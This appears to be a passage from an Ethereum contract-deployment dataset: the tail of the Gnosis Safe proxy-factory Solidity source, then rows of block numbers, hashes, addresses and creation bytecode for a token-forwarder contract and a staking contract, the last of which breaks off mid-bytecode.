/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,432 |
73fb1e17b6c71846a4b40d2b1868d952686c9a0c5ad501759a7e1c8f6b4cf3bc
|
780a8a41a60925dd5af08b93382ffddecddede676dc6b8178b72f35368e1ef98
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
2146a46075fa304702e040edea0f60fe12eccccf
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,497,433 |
d6cdd117adb053b8abc5cbef5b4d9e1b17465782f5a92196bd4d43263cc297e5
|
2ebd1b9b707f5b4e2df5dd6ea3ed5fe8b4057ef5aad7c6442eaa5f866f1fd478
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
482c951880949679f7e73ff9be664f0dd94b88f2
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,497,440 |
4a89f586f17c11164ad497eb50bdd01e37e8cd5839a2a16fe048b11718c612e4
|
3b3079c49be7494320833be14f482a5dc6910fcad32ba3c97f61b63cc37cbcc4
|
279efe995083c7c1a8f694bb5e22080627c5affd
|
279efe995083c7c1a8f694bb5e22080627c5affd
|
321e61cc885dbe70769c4ab1a3bc9ecb6b2f6739
|
60c0604052600060095534801561001557600080fd5b50600061002661024260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506001808190555073486d95c40feba650c38e98cd9d7979d9cd88cea073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050605060048190555062093a8060058190555060056006819055506007604051806080016040528060805173ffffffffffffffffffffffffffffffffffffffff1681526020016103e881526020016221903f81526020016000815250908060018154018082558091505060019003906000526020600020906004020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201556060820151816003015550506103e860098190555061024a565b600033905090565b60805160a05161319562000293600039600081816105520152818161063d0152818161087d01528181610df0015281816113ee0152611b0e01526000610c9901526131956000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c806380dc0672116100de578063a913a5f711610097578063f2fde38b11610071578063f2fde38b146103a8578063f40f0f52146103c4578063f7c618c1146103f4578063ff16ef391461041257610173565b8063a913a5f714610352578063b6b55f2514610382578063db2e21bc1461039e57610173565b806380dc0672146102b6578063817b1cd2146102c05780638c09c135146102de5780638da5cb5b146102fa5780638e0b019814610318578063999e2f751461033457610173565b8063630b5ba111610130578063630b5ba11461023e578063715018a61461024857806372f702f314610252578063746c8ae11461027057806378c196f31461027a5780637b280def1461029857610173565b806304554443146101785780631526fe27146101965780631959a002146101c95780633279beab146101fa5780633bcfc4b8146102165780633ccfd60b14610234575b600080fd5b61018061042e565b60405161018d91906123e0565b60405180910390f35b6101b060048036038101906101ab919061242c565b610434565b6040516101c094939291906124d8565b60405180910390f35b6101e360048036038101906101de919061255b565b610494565b6040516101f1929190612588565b60405180910390f35b610214600480360381019061020f919061242c565b6104b8565b005b61021e610684565b60405161022b91906123e0565b60405180910390f35b61023c61068a565b005b610246610a7c565b005b610250610b44565b005b61025a610c97565b60405161026791906125b1565b60405180910390f35b610278610cbb565b005b610282610de9565b60405161028f91906123e0565b60405180910390f35b6102a0610e97565b6040516102ad91906123e0565b60405180910390f35b6102be610e9d565b005b6102c8610f46565b6040516102d591906123e0565b60405180910390f35b6102f860048036038101906102f3919061242c565b610f4c565b005b610302611031565b60405161030f91906125db565b60405180910390f35b610332600480360381019061032d919061242c565b61105a565b005b61033c61113d565b60405161034991906123e0565b60405180910390f35b61036c6004803603810190610367919061255b565b6111c7565b60405161037991906123e0565b60405180910390f35b61039c6004803603810190610397919061242c565b6111df565b005b6103a66116ac565b005b6103c260048036038101906103bd919061255b565b6118f6565b005b6103de60048036038101906103d9919061255b565b611997565b6040516103eb91906123e0565b60405180910390f35b6103fc611b0c565b60405161040991906125b1565b60405180910390f35b61042c6004803603810190610427919061242c565b611b30565b005b60055481565b6007818154811061044457600080fd5b90600052602060002090600402016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154905084565b60086020528060005260406000206000915090508060000154908060010154905082565b6104c0611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054490612653565b60405180910390fd5b6003547f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105a991906125db565b602060405180830381865afa1580156105c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ea9190612688565b6105f491906126e4565b811115610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90612764565b60405180910390fd5b61068133827f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b50565b60045481565b600260015414156106d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c7906127d0565b60405180910390fd5b600260018190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561075a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107519061283c565b60405180910390fd5b600060076000815481106107715761077061285c565b5b906000526020600020906004020190506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015490506107d76000611cac565b6000610821836001015461081364e8d4a5100061080588600301548860000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b611e5690919063ffffffff16565b905060008111156108c257610834610de9565b811115610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d90612923565b60405180910390fd5b6108c133827f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b5b600082111561093e576000836000018190555081600360008282546108e791906126e4565b9250508190555061093d33838660000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b5b61097064e8d4a5100061096286600301548660000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b83600101819055506000836000015411156109db57600554426109939190612943565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a21565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b3373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436483604051610a6791906123e0565b60405180910390a25050505060018081905550565b610a84611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612653565b60405180910390fd5b6000600780549050905060005b81811015610b4057610b2f81611cac565b80610b3990612999565b9050610b1e565b5050565b610b4c611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd090612653565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f000000000000000000000000000000000000000000000000000000000000000081565b610cc3611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790612653565b60405180910390fd5b63014ca2bf6007600081548110610d6a57610d6961285c565b5b90600052602060002090600402016002015414610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390612a2e565b60405180910390fd5b426007600081548110610dd257610dd161285c565b5b906000526020600020906004020160020181905550565b60006003547f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e4791906125db565b602060405180830381865afa158015610e64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e889190612688565b610e9291906126e4565b905090565b60065481565b610ea5611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990612653565b60405180910390fd5b610f3c6000611cac565b6000600481905550565b60035481565b610f54611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890612653565b60405180910390fd5b6224ea00811115611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612a9a565b60405180910390fd5b8060058190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611062611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e690612653565b60405180910390fd5b6014811115611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612b06565b60405180910390fd5b8060068190555050565b60008060076000815481106111555761115461285c565b5b90600052602060002090600402019050428160020154111561117b5760009150506111c4565b6301e13380606460045460035484600201544261119891906126e4565b6111a29190612b26565b6111ac9190612b26565b6111b69190612baf565b6111c09190612baf565b9150505b90565b60026020528060005260406000206000915090505481565b60026001541415611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c906127d0565b60405180910390fd5b60026001819055506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156112c757600554426112839190612943565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600060076000815481106112de576112dd61285c565b5b906000526020600020906004020190506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905061133b6000611cac565b600081600001541115611435576000611392826001015461138464e8d4a5100061137687600301548760000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b611e5690919063ffffffff16565b90506000811115611433576113a5610de9565b8111156113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de90612c78565b60405180910390fd5b61143233827f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b5b505b6000808411156116175760008360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161149e91906125db565b602060405180830381865afa1580156114bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114df9190612688565b90506115323330878760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ea0909392919063ffffffff16565b808460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161159091906125db565b602060405180830381865afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190612688565b6115db91906126e4565b91506115f4828460000154611f2990919063ffffffff16565b8360000181905550816003600082825461160e9190612943565b92505081905550505b61164964e8d4a5100061163b85600301548560000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b82600101819055503373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c8560405161169791906123e0565b60405180910390a25050506001808190555050565b600260015414156116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e9906127d0565b60405180910390fd5b6002600181905550600060076000815481106117115761171061285c565b5b906000526020600020906004020190506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001549050806003600082825461177f91906126e4565b9250508190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106117f4576064600654826117dc9190612b26565b6117e69190612baf565b816117f191906126e4565b90505b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188833828560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b60008260000181905550600082600101819055503373ffffffffffffffffffffffffffffffffffffffff167f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd9695826040516118e291906123e0565b60405180910390a250505060018081905550565b6118fe611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461198b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198290612653565b60405180910390fd5b61199481611f87565b50565b60008060076000815481106119af576119ae61285c565b5b906000526020600020906004020190506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905063014ca2bf82600201541415611a1d57600092505050611b07565b60008260030154905060006003549050836002015442118015611a41575060008114155b15611abc576000611a7a600954611a6c8760010154611a5e61113d565b611d9190919063ffffffff16565b611e0c90919063ffffffff16565b9050611ab8611aa983611a9b64e8d4a5100085611d9190919063ffffffff16565b611e0c90919063ffffffff16565b84611f2990919063ffffffff16565b9250505b611b008360010154611af264e8d4a51000611ae4868860000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b611e5690919063ffffffff16565b9450505050505b919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b611b38611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbc90612653565b60405180910390fd5b612710811115611c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0190612ce4565b60405180910390fd5b611c146000611cac565b8060048190555050565b600033905090565b611ca78363a9059cbb60e01b8484604051602401611c45929190612d04565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506120b4565b505050565b600060078281548110611cc257611cc161285c565b5b9060005260206000209060040201905080600201544211611ce35750611d8e565b600060035490506000811415611d03574282600201819055505050611d8e565b6000611d37600954611d298560010154611d1b61113d565b611d9190919063ffffffff16565b611e0c90919063ffffffff16565b9050611d79611d6683611d5864e8d4a5100085611d9190919063ffffffff16565b611e0c90919063ffffffff16565b8460030154611f2990919063ffffffff16565b83600301819055504283600201819055505050505b50565b600080831415611da45760009050611e06565b60008284611db29190612b26565b9050828482611dc19190612baf565b14611e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df890612d9f565b60405180910390fd5b809150505b92915050565b6000611e4e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217b565b905092915050565b6000611e9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121de565b905092915050565b611f23846323b872dd60e01b858585604051602401611ec193929190612dbf565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506120b4565b50505050565b6000808284611f389190612943565b905083811015611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7490612e42565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fee90612ed4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000612116826040518060400160405280602081526020017f5361666542455032303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166122429092919063ffffffff16565b905060008151111561217657808060200190518101906121369190612f2c565b612175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216c90612fcb565b60405180910390fd5b5b505050565b600080831182906121c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b99190613073565b60405180910390fd5b50600083856121d19190612baf565b9050809150509392505050565b6000838311158290612226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221d9190613073565b60405180910390fd5b506000838561223591906126e4565b9050809150509392505050565b6060612251848460008561225a565b90509392505050565b60606122658561237c565b6122a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229b906130e1565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516122cd9190613148565b60006040518083038185875af1925050503d806000811461230a576040519150601f19603f3d011682016040523d82523d6000602084013e61230f565b606091505b50915091508115612324578092505050612374565b6000815111156123375780518082602001fd5b836040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236b9190613073565b60405180910390fd5b949350505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91508082141580156123be57506000801b8214155b92505050919050565b6000819050919050565b6123da816123c7565b82525050565b60006020820190506123f560008301846123d1565b92915050565b600080fd5b612409816123c7565b811461241457600080fd5b50565b60008135905061242681612400565b92915050565b600060208284031215612442576124416123fb565b5b600061245084828501612417565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061249e61249961249484612459565b612479565b612459565b9050919050565b60006124b082612483565b9050919050565b60006124c2826124a5565b9050919050565b6124d2816124b7565b82525050565b60006080820190506124ed60008301876124c9565b6124fa60208301866123d1565b61250760408301856123d1565b61251460608301846123d1565b95945050505050565b600061252882612459565b9050919050565b6125388161251d565b811461254357600080fd5b50565b6000813590506125558161252f565b92915050565b600060208284031215612571576125706123fb565b5b600061257f84828501612546565b91505092915050565b600060408201905061259d60008301856123d1565b6125aa60208301846123d1565b9392505050565b60006020820190506125c660008301846124c9565b92915050565b6125d58161251d565b82525050565b60006020820190506125f060008301846125cc565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061263d6020836125f6565b915061264882612607565b602082019050919050565b6000602082019050818103600083015261266c81612630565b9050919050565b60008151905061268281612400565b92915050565b60006020828403121561269e5761269d6123fb565b5b60006126ac84828501612673565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126ef826123c7565b91506126fa836123c7565b92508282101561270d5761270c6126b5565b5b828203905092915050565b7f6e6f7420656e6f75676820746f6b656e7320746f2074616b65206f7574000000600082015250565b600061274e601d836125f6565b915061275982612718565b602082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b60006127ba601f836125f6565b91506127c582612784565b602082019050919050565b600060208201905081810360008301526127e9816127ad565b9050919050565b7f4d6179206e6f7420646f206e6f726d616c207769746864726177206561726c79600082015250565b60006128266020836125f6565b9150612831826127f0565b602082019050919050565b6000602082019050818103600083015261285581612819565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f43616e6e6f74207769746864726177206f746865722070656f706c652773207360008201527f74616b656420746f6b656e732e2020436f6e7461637420616e2061646d696e2060208201527f422e000000000000000000000000000000000000000000000000000000000000604082015250565b600061290d6042836125f6565b91506129188261288b565b606082019050919050565b6000602082019050818103600083015261293c81612900565b9050919050565b600061294e826123c7565b9150612959836123c7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561298e5761298d6126b5565b5b828201905092915050565b60006129a4826123c7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129d7576129d66126b5565b5b600182019050919050565b7f43616e206f6e6c792073746172742072657761726473206f6e63650000000000600082015250565b6000612a18601b836125f6565b9150612a23826129e2565b602082019050919050565b60006020820190508181036000830152612a4781612a0b565b9050919050565b7f4475726174696f6e206d7573742062652062656c6f772032207765656b730000600082015250565b6000612a84601e836125f6565b9150612a8f82612a4e565b602082019050919050565b60006020820190508181036000830152612ab381612a77565b9050919050565b7f4d6179206e6f742073657420686967686572207468616e203230250000000000600082015250565b6000612af0601b836125f6565b9150612afb82612aba565b602082019050919050565b60006020820190508181036000830152612b1f81612ae3565b9050919050565b6000612b31826123c7565b9150612b3c836123c7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7557612b746126b5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612bba826123c7565b9150612bc5836123c7565b925082612bd557612bd4612b80565b5b828204905092915050565b7f43616e6e6f74207769746864726177206f746865722070656f706c652773207360008201527f74616b656420746f6b656e732e2020436f6e7461637420616e2061646d696e2060208201527f412e0000000000000000000000000000000000000000000000000000000000